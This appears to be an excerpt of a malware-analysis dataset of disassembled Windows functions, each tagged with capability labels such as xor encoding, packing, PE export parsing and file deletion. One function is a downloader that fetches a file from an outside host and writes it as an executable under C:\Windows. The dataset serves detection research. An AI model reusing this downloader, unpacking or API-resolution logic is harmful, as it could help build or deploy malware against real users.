joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402bf0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x27b4008], 0x8088405
inc edx
mov dword [ebx + 0x27b4008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x404464
Capabilities:
Packed with generic packer

Disassembly:
test edx, edx
je 0x4044c9
test ecx, ecx
je fcn.0040419c
cmp edx, dword [eax]
je 0x4044d0
cmp ecx, dword [eax]
je 0x404486
push eax
push ecx
call fcn.0040419c
pop edx
pop eax
jmp fcn.00404420
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
push eax
mov eax, dword [ebx - 4]
add eax, dword [esi - 4]
call fcn.0040420c
mov edi, eax
mov edx, eax
mov eax, ebx
mov ecx, dword [ebx - 4]
call fcn.0040293c
mov edx, edi
mov eax, esi
mov ecx, dword [esi - 4]
add edx, dword [ebx - 4]
call fcn.0040293c
pop eax
mov edx, edi
test edi, edi
je 0x4044c0
dec dword [edi - 8]
call fcn.0040419c
pop edi
pop esi
pop ebx
ret
mov edx, ecx
jmp fcn.0040419c
mov edx, ecx
jmp fcn.00404420

Function at 0x42f7c4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push ebp
mov edi, ecx
mov ecx, dword [ebp + 8]
mov esi, ecx
shr esi, 2
je 0x42f7f1
lea edi, [edi + esi*4]
lea edx, [edx + esi*4]
lea eax, [eax + esi*4]
neg esi
mov ebx, dword [eax + esi*4]
mov ebp, dword [edx + esi*4]
mov dword [edi + esi*4], ebx
xor dword [eax + esi*4], ebp
inc esi
jne 0x42f7e2
and ecx, 3
je 0x42f809
mov bl, byte [ecx + eax - 1]
mov bh, byte [ecx + edx - 1]
mov byte [ecx + edi - 1], bl
xor byte [ecx + eax - 1], bh
dec ecx
jne 0x42f7f6
pop ebp
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x42f814
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push ebp
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push esi
shr esi, 2
je 0x42f84d
lea ecx, [ecx + esi*4]
lea edi, [edi + esi*4]
lea edx, [edx + esi*4]
lea eax, [eax + esi*4]
neg esi
mov ebp, dword [eax + esi*4]
mov ebx, dword [edi + esi*4]
xor ebx, dword [edx + esi*4]
mov dword [edx + esi*4], ebx
xor ebx, dword [ecx + esi*4]
mov dword [edi + esi*4], ebp
mov dword [eax + esi*4], ebx
inc esi
jne 0x42f835
pop esi
and esi, 3
je 0x42f872
mov bl, byte [esi + eax - 1]
mov bh, byte [esi + edx - 1]
xor bh, byte [esi + edi - 1]
mov byte [esi + edx - 1], bh
xor bh, byte [esi + ecx - 1]
mov byte [esi + edi - 1], bl
mov byte [esi + eax - 1], bh
dec esi
jne 0x42f853
pop ebp
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x42f87c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov esi, ecx
shr esi, 2
je 0x42f8a8
lea edi, [edi + esi*4]
lea edx, [edx + esi*4]
lea eax, [eax + esi*4]
neg esi
mov ebx, dword [edx + esi*4]
xor ebx, dword [eax + esi*4]
mov dword [edi + esi*4], ebx
mov dword [eax + esi*4], ebx
inc esi
jne 0x42f899
and ecx, 3
je 0x42f8c0
mov bl, byte [ecx + edx - 1]
xor bl, byte [ecx + eax - 1]
mov byte [ecx + edi - 1], bl
mov byte [ecx + eax - 1], bl
dec ecx
jne 0x42f8ad
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x42f8c8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
shr ecx, 1
lea edi, [eax + ecx*8]
lea edx, [edx + ecx*8]
neg ecx
mov ebx, dword [edx + ecx*8]
mov eax, dword [edx + ecx*8 + 4]
xor dword [edi + ecx*8], ebx
xor dword [edi + ecx*8 + 4], eax
inc ecx
jne 0x42f8d4
pop edi
pop ebx
ret

Function at 0x4301f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call dword [eax + 0x20]
mov esi, eax
mov eax, esi
shr eax, 2
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
call fcn.0042fe48
mov dword [ebp - 0x10], eax
xor edx, edx
push ebp
push 0x26d432f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, esi
add eax, eax
push eax
mov eax, dword [ebp - 8]
pop edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
mov dword [ebp - 0x14], eax
dec edi
test edi, edi
jl 0x43029e
inc edi
mov edx, dword [ebp - 0x10]
mov eax, ebx
mov ecx, esi
call fcn.0040293c
mov edx, ebx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
call fcn.0042f8c8
lea eax, [ebx + esi]
mov ebx, eax
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov ecx, esi
call fcn.0040293c
mov edx, ebx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, dword [ebp - 0x10]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
call fcn.0042f8c8
lea eax, [ebx + esi]
mov ebx, eax
dec edi
jne 0x43024b
mov eax, esi
add eax, eax
push eax
mov eax, dword [ebp - 8]
pop edx
mov ecx, edx
cdq
idiv ecx
mov edi, edx
cmp esi, edi
jg 0x4302ec
mov edx, dword [ebp - 0x10]
mov eax, ebx
mov ecx, esi
call fcn.0040293c
mov edx, ebx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
call fcn.0042f8c8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x10]
mov ecx, esi
call fcn.0040293c
lea eax, [ebx + esi]
mov ebx, eax
sub edi, esi
test edi, edi
jle 0x430316
mov eax, dword [ebp - 4]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x5c]
dec edi
test edi, edi
jl 0x430316
inc edi
xor eax, eax
mov edx, dword [ebp - 4]
mov edx, dword [edx + 8]
mov dl, byte [edx + eax]
xor byte [ebx + eax], dl
inc eax
dec edi
jne 0x430306
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x26d4336
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.0042ffe4
ret
Function at 0x43eaf8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
mov bl, dl
dec ebx
test ebx, ebx
jl 0x43eb4c
inc ebx
xor edx, edx
mov ecx, edx
shl ecx, 2
movzx esi, byte [eax + ecx]
lea esi, [esi*4 + 0x27b4814]
mov esi, dword [esi]
movzx edi, byte [eax + ecx + 1]
lea edi, [edi*4 + 0x27b4c14]
xor esi, dword [edi]
movzx edi, byte [eax + ecx + 2]
lea edi, [edi*4 + 0x27b5014]
xor esi, dword [edi]
movzx edi, byte [eax + ecx + 3]
lea edi, [edi*4 + 0x27b5414]
xor esi, dword [edi]
lea ecx, [eax + ecx]
mov dword [ecx], esi
inc edx
dec ebx
jne 0x43eb07
pop edi
pop esi
pop ebx
ret

Function at 0x44a728
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
test esi, esi
jbe 0x44a74c
mov eax, 1
mov ebx, ecx
add ebx, eax
dec ebx
mov bl, byte [ebx]
mov edi, edx
add edi, eax
dec edi
xor byte [edi], bl
inc eax
dec esi
jne 0x44a73a
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x4ae28c
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, ecx
mov dword [ebp - 4], eax
mov esi, dword [0x27c6b4c]
mov eax, dword [ebp - 4]
mov byte [eax + 0x210], 1
xor eax, eax
push ebp
push 0x2752465
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004a645c
add dword [ebp - 0xc], 4
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.004a7684
mov eax, dword [esi]
call fcn.00494f6c
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x4c]
add edx, dword [ebp - 0x14]
cmp eax, edx
jge 0x4ae2fe
mov eax, dword [esi]
call fcn.00494f6c
mov edx, dword [ebp - 4]
sub eax, dword [edx + 0x4c]
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
call fcn.00494f78
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x48]
add edx, dword [ebp - 0x18]
cmp eax, edx
jge 0x4ae322
mov eax, dword [esi]
call fcn.00494f78
mov edx, dword [ebp - 4]
sub eax, dword [edx + 0x48]
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
call fcn.00494f60
cmp eax, dword [ebp - 0x18]
jle 0x4ae338
mov eax, dword [esi]
call fcn.00494f60
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
call fcn.00494f54
cmp eax, dword [ebp - 0xc]
jle 0x4ae34e
mov eax, dword [esi]
call fcn.00494f54
mov dword [ebp - 0xc], eax
push 0x10
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x48]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
call fcn.004acc14
push eax
call fcn.00407808
call fcn.00406d28
mov edx, dword [ebp - 4]
sub eax, dword [edx + 0x214]
cmp eax, 0xfa
jbe 0x4ae415
mov eax, ebx
call fcn.00404418
cmp eax, 0x64
jge 0x4ae415
cmp dword [0x27c48e4], 0
je 0x4ae415
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x1016
call fcn.00407858
cmp dword [ebp - 8], 0
je 0x4ae415
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x1018
call fcn.00407858
cmp dword [ebp - 8], 0
je 0x4ae3d8
mov bl, 2
jmp 0x4ae3f3
lea edx, [ebp - 0x20]
mov eax, dword [0x27ce5f8]
call fcn.004b1524
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jle 0x4ae3f1
xor ebx, ebx
jmp 0x4ae3f3
mov bl, 1
xor eax, eax
mov al, bl
mov eax, dword [eax*4 + 0x27c49ec]
or eax, 0x40000
push eax
push 0x64
mov eax, dword [ebp - 4]
call fcn.004acc14
push eax
call dword [0x27c48e4]
mov eax, dword [0x27c698c]
mov eax, dword [eax]
mov edx, dword [eax + 0x30]
mov eax, dword [ebp - 4]
call fcn.004aa348
push 4
mov eax, dword [ebp - 4]
call fcn.004acc14
push eax
call fcn.00407850
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x7c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x275246c
call fcn.00406d28
mov edx, dword [ebp - 4]
mov dword [edx + 0x214], eax
mov eax, dword [ebp - 4]
mov byte [eax + 0x210], 0
ret
Function at 0x4d0ca8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x2774d96
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x4d0cf7
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x4d0d16
mov ecx, edx
add ecx, ebx
jmp 0x4d0d16
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x4d0d16
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x4d0d88
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x4d0d71
test esi, esi
jbe 0x4d0d88
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040a510
test eax, eax
jne 0x4d0d63
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x4d0d88
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x4d0d40
jmp 0x4d0d88
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x4d0d88
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2774d9d
ret
Function at 0x4d2028
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x2776243
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404868
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4d2063
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4d207c
lea eax, [ebp - 0x10]
mov edx, dword [0x27c6974]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.004048c8
jmp 0x4d208f
lea eax, [ebp - 0x10]
mov edx, dword [0x27c6974]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.004048c8
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x4d209b
adc edx, 0
mov edx, dword [edx*4 + 0x27c4f1c]
call fcn.00404ac8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404aac
push eax
call fcn.00406a50
mov esi, eax
cmp esi, 0xffffffff
je 0x4d2215
mov eax, 0x40
call fcn.00402724
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406e80
test eax, eax
je 0x4d2208
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x4d2208
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ef8
mov eax, edi
call fcn.00402744
mov eax, 0x18
call fcn.00402724
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406e80
test eax, eax
je 0x4d2208
mov eax, edi
cmp dword [eax], 0x4550
jne 0x4d2208
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x4d21a6
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x4d21a6
mov eax, edi
call fcn.00402744
mov eax, 0xf0
call fcn.00402724
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406e80
test eax, eax
je 0x4d21a6
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4d21a6
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.004048a4
cmp byte [ebp - 1], 0
jne 0x4d2208
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x4d2208
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x4d2208
mov eax, edi
call fcn.00402744
mov eax, 0xe0
call fcn.00402724
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406e80
test eax, eax
je 0x4d2208
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4d2208
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.004048a4
mov eax, edi
call fcn.00402744
push esi
call fcn.00406a08
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.00404bd4
jne 0x4d222d
inc ebx
cmp ebx, 0x19
jne 0x4d2055
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x277624a
lea eax, [ebp - 0x10]
call fcn.00404868
ret
Function at 0x401040
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push 0
push 0
push 0
push 0
push str.Some_USER___AGENT
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
push str.http:__kucingberanak.xyz_fonts_fontawesome_x_InjekSimple.mentah
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x40107c
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 0x4032bc
push str.C:WindowsAFToken.exe
call dword [sym.imp.MSVCR100.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x40109c
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 4]
push eax
push 0x32
lea ecx, [ebp - 0x68]
push ecx
push esi
call ebx
test eax, eax
je 0x4010dd
mov eax, dword [ebp - 4]
push edi
test eax, eax
je 0x4010f0
push eax
lea edx, [ebp - 0x68]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x32
lea ecx, [ebp - 0x68]
push ecx
push esi
call ebx
test eax, eax
jne 0x4010b4
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.MSVCR100.dll_fflush]
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 8
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401110
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x405018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
push str.C:WindowsAF
lea eax, [ebp - 0x108]
push str._s.
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
mov edi, edi
lea eax, [ebp - 0x21c]
push eax
push str.C:WindowsAF
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call edi
add esp, 0x10
lea edx, [ebp - 0x108]
push edx
call ebx
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401160
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040259d
mov esp, ebp
pop ebp
ret
Function at 0x40259d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x405018]
jne 0x4025a7
repz ret
jmp fcn.004028a2

Function at 0x40f000
Capabilities:
Packed with generic packer

Disassembly:
pushal
call 0x40f006
or ebp, 0xffffffff
xor ebx, ebx
pop esi
lea edi, [esi - 0xe006]
push edi
add word [edi], 0
add esi, 0x1b3
jmp 0x40f02e
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f039
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f028
mov eax, 1
add ebx, ebx
jne 0x40f04b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x40f040
jne 0x40f05c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f040
xor ecx, ecx
sub eax, 3
jb 0x40f0ca
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f0e6
mov ebp, eax
add ebx, ebx
jne 0x40f07b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f088
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f0ac
inc ecx
add ebx, ebx
jne 0x40f098
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x40f08d
jne 0x40f0a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f08d
add ecx, 2
cmp eax, 0xfffff300
adc ecx, 1
lea edx, [edi + eax]
cmp eax, 0xfffffffc
jle 0x40f0d0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f0bc
jmp 0x40f02e
mov eax, ebp
jmp 0x40f070
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f0d0
add edi, ecx
jmp 0x40f02e
pop esi
sub edi, dword [edi - 4]
push edi
lea edi, [esi]
mov ecx, 0x2b9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f0f6
cmp byte [edi], 0
jne 0x40f0f6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f0fb
pop edi
mov eax, dword [edi]
or eax, eax
je 0x40f166
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd0a0]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f123
push edx
mov ecx, edi
jns 0x40f153
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [esi + 0xd0a4]
pop edx
mov dword [ebx], eax
add ebx, 4
jmp 0x40f140
lea ebx, [esi - 4]
add edi, 4
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40f197
cmp al, 0xef
ja 0x40f18a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x40f16c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x40f179
popal
jmp 0x405be8
Function at 0x403bd0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x38
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push ebx
mov ebx, dword [0x414128]
push ebp
mov ebp, dword [0x41412c]
push esi
mov esi, dword [eax + 4]
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x30], 0
call fcn.00403bb0
mov edx, dword [0x414130]
mov eax, dword [0x414134]
add dword [esp + 0x30], 0x23f
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], eax
mov edi, 0x20
mov dword [esp + 0x20], 2
add dword [esp + 0x20], 3
mov ecx, dword [esp + 0x18]
mov eax, dword [0x8cb154]
shl ecx, 4
add ecx, dword [esp + 0x34]
mov dword [esp + 0x10], ecx
cmp eax, 0xfa9
jne 0x403c55
mov dword [0x8ca7b4], 0xedeb2e40
jmp 0x403c73
cmp eax, 0x3eb
jne 0x403c73
push 0
lea edx, [esp + 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [0x8c76bc], 0
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x30]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x18]
shr eax, 5
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x14]
mov dword [0x8ca7b0], 0xf4ea3dee
call fcn.00403bc0
mov eax, dword [esp + 0x1c]
xor dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
xor dword [esp + 0x14], eax
cmp dword [0x8cb154], 0x213
jne 0x403cd2
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
sub esi, dword [esp + 0x14]
mov dword [esp + 0x28], 2
mov dword [esp + 0x3c], esi
sub dword [esp + 0x28], 0x5396dd36
add dword [esp + 0x28], 0x5396dd38
mov eax, esi
lea ecx, [esp + 0x10]
call fcn.00403ba0
add dword [esp + 0x10], ebx
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x30]
add dword [esp + 0x24], eax
mov eax, dword [esp + 0x3c]
nop
add dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x20]
mov eax, esi
shr eax, cl
add eax, ebp
mov dword [esp + 0x14], eax
xor eax, dword [esp + 0x1c]
xor dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x10]
sub dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x18], eax
add dword [esp + 0x30], 0x61c88647
sub edi, 1
jne 0x403c21
mov eax, dword [esp + 0x4c]
mov edx, dword [esp + 0x18]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x38
ret 4
Function at 0x40a1b9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41393c]
jne 0x40a1c3
repz ret
jmp fcn.0040e57c

Function at 0x40e10d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040658a
and dword [ebp - 4], 0
cmp dword [0x79d468], 0
mov ebx, eax
jne 0x40e1be
push 0x40357c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e26f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403570
push edi
call esi
test eax, eax
je 0x40e26f
push eax
call fcn.00406518
mov dword [esp], 0x403560
push edi
mov dword [0x79d468], eax
call esi
push eax
call fcn.00406518
mov dword [esp], 0x40354c
push edi
mov dword [0x79d46c], eax
call esi
push eax
call fcn.00406518
mov dword [esp], 0x403530
push edi
mov dword [0x79d470], eax
call esi
push eax
call fcn.00406518
pop ecx
mov dword [0x79d478], eax
test eax, eax
je 0x40e1be
push 0x403518
push edi
call esi
push eax
call fcn.00406518
pop ecx
mov dword [0x79d474], eax
mov eax, dword [0x79d474]
cmp eax, ebx
je 0x40e216
cmp dword [0x79d478], ebx
je 0x40e216
push eax
call fcn.00406593
push dword [0x79d478]
mov esi, eax
call fcn.00406593
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e216
test edi, edi
je 0x40e216
call esi
test eax, eax
je 0x40e20d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e20d
test byte [ebp - 0xc], 1
jne 0x40e216
or dword [ebp + 0x10], 0x200000
jmp 0x40e24f
mov eax, dword [0x79d46c]
cmp eax, ebx
je 0x40e24f
push eax
call fcn.00406593
pop ecx
test eax, eax
je 0x40e24f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e24f
mov eax, dword [0x79d470]
cmp eax, ebx
je 0x40e24f
push eax
call fcn.00406593
pop ecx
test eax, eax
je 0x40e24f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x79d468]
call fcn.00406593
pop ecx
test eax, eax
je 0x40e26f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e271
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret